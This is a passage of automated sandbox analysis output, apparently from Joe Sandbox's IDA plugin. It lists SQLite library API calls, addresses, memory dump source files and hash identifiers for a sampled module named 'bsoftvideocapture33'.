                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60968975
                                                                                          • sqlite3_reset.SQLITE3 ref: 609689B0
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_reopen.SQLITE3 ref: 60963510
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_bytes.SQLITE3 ref: 609635A3
                                                                                            • Part of subcall function 609634F0: sqlite3_malloc.SQLITE3 ref: 609635BB
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_read.SQLITE3 ref: 60963602
                                                                                            • Part of subcall function 609634F0: sqlite3_free.SQLITE3 ref: 60963621
                                                                                          • sqlite3_free.SQLITE3 ref: 60968A68
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60968B00
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60968B2D
                                                                                          • sqlite3_step.SQLITE3 ref: 60968B38
                                                                                          • sqlite3_reset.SQLITE3 ref: 60968B43
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60968B9F
                                                                                          • sqlite3_bind_blob.SQLITE3 ref: 60968BC8
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60968BEF
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 60968C0C
                                                                                          • sqlite3_step.SQLITE3 ref: 60968C17
                                                                                          • sqlite3_reset.SQLITE3 ref: 60968C22
                                                                                          • sqlite3_free.SQLITE3 ref: 60968C2F
                                                                                          • sqlite3_free.SQLITE3 ref: 60968C3A
                                                                                            • Part of subcall function 60916390: sqlite3_free.SQLITE3 ref: 609164E9
                                                                                            • Part of subcall function 60916390: sqlite3_free.SQLITE3 ref: 609164F4
                                                                                            • Part of subcall function 6095F772: sqlite3_bind_int64.SQLITE3 ref: 6095F7AC
                                                                                            • Part of subcall function 6095F772: sqlite3_bind_blob.SQLITE3 ref: 6095F7D5
                                                                                            • Part of subcall function 6095F772: sqlite3_step.SQLITE3 ref: 6095F7E0
                                                                                            • Part of subcall function 6095F772: sqlite3_reset.SQLITE3 ref: 6095F7EB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64$sqlite3_free$sqlite3_resetsqlite3_step$sqlite3_bind_int$sqlite3_bind_blob$sqlite3_blob_bytessqlite3_blob_readsqlite3_blob_reopensqlite3_column_blobsqlite3_column_bytessqlite3_column_int64sqlite3_malloc
                                                                                          • String ID:
                                                                                          • API String ID: 2526640242-0
                                                                                          • Opcode ID: 80c4178694f9100467d9f8914e06a53f74e1fc263bd09a9052fbc3a5e85adfd3
                                                                                          • Instruction ID: ecb2fadc30329ad4410b738d56806f6ecd0ac298638076f7c65242d8805d2ed1
                                                                                          • Opcode Fuzzy Hash: 80c4178694f9100467d9f8914e06a53f74e1fc263bd09a9052fbc3a5e85adfd3
                                                                                          • Instruction Fuzzy Hash: A0D1C2B4A153189FDB14DF68C884B8EBBF2BFA9304F118599E888A7344E774D985CF41
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3(?,?), ref: 609693A5
                                                                                          • sqlite3_step.SQLITE3(?,?), ref: 609693B0
                                                                                          • sqlite3_column_int64.SQLITE3(?,?), ref: 609693DC
                                                                                            • Part of subcall function 6096A2BD: sqlite3_bind_int64.SQLITE3 ref: 6096A322
                                                                                            • Part of subcall function 6096A2BD: sqlite3_step.SQLITE3 ref: 6096A32D
                                                                                            • Part of subcall function 6096A2BD: sqlite3_column_int.SQLITE3 ref: 6096A347
                                                                                            • Part of subcall function 6096A2BD: sqlite3_reset.SQLITE3 ref: 6096A354
                                                                                          • sqlite3_reset.SQLITE3(?,?), ref: 609693F3
                                                                                          • sqlite3_malloc.SQLITE3(?), ref: 60969561
                                                                                          • sqlite3_malloc.SQLITE3(?), ref: 6096958D
                                                                                          • sqlite3_step.SQLITE3(?), ref: 609695D2
                                                                                          • sqlite3_column_int64.SQLITE3(?), ref: 609695EA
                                                                                          • sqlite3_reset.SQLITE3(?), ref: 60969604
                                                                                          • sqlite3_realloc.SQLITE3(?), ref: 609697D0
                                                                                          • sqlite3_realloc.SQLITE3(?), ref: 609698A9
                                                                                            • Part of subcall function 609129D5: sqlite3_initialize.SQLITE3(?,?,?,60915F55,?,?,?,?,?,?,00000000,?,?,?,60915FE2,00000000), ref: 609129E0
                                                                                          • sqlite3_bind_int64.SQLITE3(?,?), ref: 609699B8
                                                                                          • sqlite3_bind_int64.SQLITE3(?), ref: 6096934D
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int64.SQLITE3(?,?), ref: 60969A6A
                                                                                          • sqlite3_step.SQLITE3(?,?), ref: 60969A75
                                                                                          • sqlite3_reset.SQLITE3(?,?), ref: 60969A80
                                                                                          • sqlite3_free.SQLITE3(?), ref: 60969D41
                                                                                          • sqlite3_free.SQLITE3(?), ref: 60969D4C
                                                                                          • sqlite3_free.SQLITE3(?), ref: 60969D5B
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64$sqlite3_freesqlite3_resetsqlite3_step$sqlite3_column_int64sqlite3_mallocsqlite3_realloc$sqlite3_column_intsqlite3_initializesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2
                                                                                          • String ID:
                                                                                          • API String ID: 961572588-0
                                                                                          • Opcode ID: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
                                                                                          • Instruction ID: dba6eef834311e7f80380fc62c490a647dd1765b4da9a7e0a506f520bf28697a
                                                                                          • Opcode Fuzzy Hash: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
                                                                                          • Instruction Fuzzy Hash: 9872F275A042298FDB24CF69C88078DB7F6FF98314F1586A9D889AB341D774AD81CF81
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_nullsqlite3_resetsqlite3_stepsqlite3_value_int$sqlite3_bind_int64
                                                                                          • String ID: d
                                                                                          • API String ID: 788585506-2564639436
                                                                                          • Opcode ID: d2f11cac82a0455c854f620262a0883d748cf086616ec3213a4399810b83bc0e
                                                                                          • Instruction ID: 7ef39a6ddac577f8b519d45125a156414ab1a70b2d0639156342c4ed50531758
                                                                                          • Opcode Fuzzy Hash: d2f11cac82a0455c854f620262a0883d748cf086616ec3213a4399810b83bc0e
                                                                                          • Instruction Fuzzy Hash: 25919CB1E04218DFCB41EFA8C88568DBBF2FB64344F058969E895AB349D734D855CF81
                                                                                          APIs
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F8E5
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 6095F8FF
                                                                                            • Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F920
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F941
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F962
                                                                                          • sqlite3_bind_blob.SQLITE3 ref: 6095F98B
                                                                                          • sqlite3_step.SQLITE3 ref: 6095F996
                                                                                          • sqlite3_reset.SQLITE3 ref: 6095F9A1
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64$sqlite3_mutex_leave$sqlite3_bind_blobsqlite3_bind_intsqlite3_freesqlite3_mprintfsqlite3_mutex_entersqlite3_prepare_v2sqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 1154799056-0
                                                                                          • Opcode ID: e44b370a1dfa701ff5b9885cc4cf0a2423246689aee604e01ba9336684cc4512
                                                                                          • Instruction ID: 4c6ccefb8af807723b251ff764995e511564b2c054836566e23fd100615de26c
                                                                                          • Opcode Fuzzy Hash: e44b370a1dfa701ff5b9885cc4cf0a2423246689aee604e01ba9336684cc4512
                                                                                          • Instruction Fuzzy Hash: A3415DB4908708AFCB04DF69D18469EBBF1EF98314F11C91AE898A7344E775D9448F92
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_mutex_leavesqlite3_stricmp
                                                                                          • String ID: 2$foreign key$indexed
                                                                                          • API String ID: 4126863092-702264400
                                                                                          • Opcode ID: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
                                                                                          • Instruction ID: 3d5d194cd292e354de8359ea213fef7e5121ae3f60f7d2d7ba557b44893e8b9c
                                                                                          • Opcode Fuzzy Hash: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
                                                                                          • Instruction Fuzzy Hash: 6BE1B374A142099FDB04CFA8D590A9DBBF2BFA9304F21C129E855AB754DB35ED82CF40
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094A72B
                                                                                          • sqlite3_step.SQLITE3 ref: 6094A73C
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 6094A760
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 6094A77C
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6094A793
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094A7F2
                                                                                          • sqlite3_free.SQLITE3(?), ref: 6094A87C
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_column_blobsqlite3_column_bytessqlite3_freesqlite3_mallocsqlite3_mutex_entersqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 2794791986-0
                                                                                          • Opcode ID: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
                                                                                          • Instruction ID: 088d5e00ded46b3eb5457b54e5d33bc48436a4b712d77f6ae5dc1ca3eb859b7b
                                                                                          • Opcode Fuzzy Hash: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
                                                                                          • Instruction Fuzzy Hash: BE5110B5A042058FCB04CF69C48069ABBF6FF68318F158569E858AB345D734EC82CF90
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_stricmp
                                                                                          • String ID: USING COVERING INDEX $DISTINCT$ORDER BY
                                                                                          • API String ID: 912767213-1308749736
                                                                                          • Opcode ID: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
                                                                                          • Instruction ID: 4f43644a9add5c5df618cbd47cd61ce2203d262f2077f605e752fe25420d36ab
                                                                                          • Opcode Fuzzy Hash: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
                                                                                          • Instruction Fuzzy Hash: 2412D674A08268CFDB25DF28C880B5AB7B3AFA9314F1085E9E8899B355D774DD81CF41
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B488
                                                                                          • sqlite3_step.SQLITE3 ref: 6094B496
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094B4A4
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B4D2
                                                                                          • sqlite3_step.SQLITE3 ref: 6094B4E0
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094B4EE
                                                                                            • Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_resetsqlite3_step$memmove
                                                                                          • String ID:
                                                                                          • API String ID: 4082478743-0
                                                                                          • Opcode ID: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
                                                                                          • Instruction ID: 9e7f29540a3c6f2d28ce6b101cd1a975f5529a8f599b89b7128c34d749e8d9ce
                                                                                          • Opcode Fuzzy Hash: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
                                                                                          • Instruction Fuzzy Hash: DD41D2B4A087018FCB50DF69C484A9EB7F6EFA8364F158929EC99CB315E734E8418F51
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6094D354
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6094D546
                                                                                            • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905D8B
                                                                                            • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DA4
                                                                                            • Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DB8
                                                                                          • sqlite3_stricmp.SQLITE3 ref: 6094D3DA
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_stricmp$sqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID: BINARY$INTEGER
                                                                                          • API String ID: 317512412-1676293250
                                                                                          • Opcode ID: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
                                                                                          • Instruction ID: cace79839434994537c0410bddb438ad3d501bddbf1b20fcc6a8a8bdb5da7fdd
                                                                                          • Opcode Fuzzy Hash: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
                                                                                          • Instruction Fuzzy Hash: 8E712978A056099BDB05CF69C49079EBBF2BFA8308F11C529EC55AB3A4D734E941CF80
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B582
                                                                                          • sqlite3_step.SQLITE3 ref: 6094B590
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 6094B5AD
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094B5EE
                                                                                          • memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: memmovesqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 2802900177-0
                                                                                          • Opcode ID: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
                                                                                          • Instruction ID: fa681a173a9aa7ad5377a8f3376375fc0286f70c891b696e42c92f52458a3a0e
                                                                                          • Opcode Fuzzy Hash: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
                                                                                          • Instruction Fuzzy Hash: 0B517D75A082018FCB14CF69C48169EF7F7FBA8314F25C669D8499B318EA74EC81CB81
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6093F443
                                                                                            • Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6093F45C
                                                                                            • Part of subcall function 60939559: memcmp.MSVCRT ref: 60939694
                                                                                            • Part of subcall function 60939559: memcmp.MSVCRT ref: 609396CA
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6093F8CD
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6093F8E3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: memcmpsqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
                                                                                          • String ID:
                                                                                          • API String ID: 4038589952-0
                                                                                          • Opcode ID: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
                                                                                          • Instruction ID: 916146ddc5613ce70bfe97dc7fabc38680eb49f4f4fdba01105907ea2da9c682
                                                                                          • Opcode Fuzzy Hash: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
                                                                                          • Instruction Fuzzy Hash: 87F13674A046158FDB18CFA9C590A9EB7F7AFA8308F248429E846AB355D774EC42CF40
                                                                                          APIs
                                                                                            • Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
                                                                                            • Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
                                                                                            • Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
                                                                                            • Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094C719
                                                                                          • sqlite3_step.SQLITE3 ref: 6094C72A
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094C73B
                                                                                            • Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                            • Part of subcall function 6094A9F5: sqlite3_free.SQLITE3 ref: 6094AA7A
                                                                                          • sqlite3_free.SQLITE3 ref: 6094C881
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_freesqlite3_resetsqlite3_step$memmovesqlite3_column_int64
                                                                                          • String ID:
                                                                                          • API String ID: 3487101843-0
                                                                                          • Opcode ID: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
                                                                                          • Instruction ID: dadb85a3919e548a164012fc2e04d9b0ab11445217433cc10b515e99a95ed5c3
                                                                                          • Opcode Fuzzy Hash: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
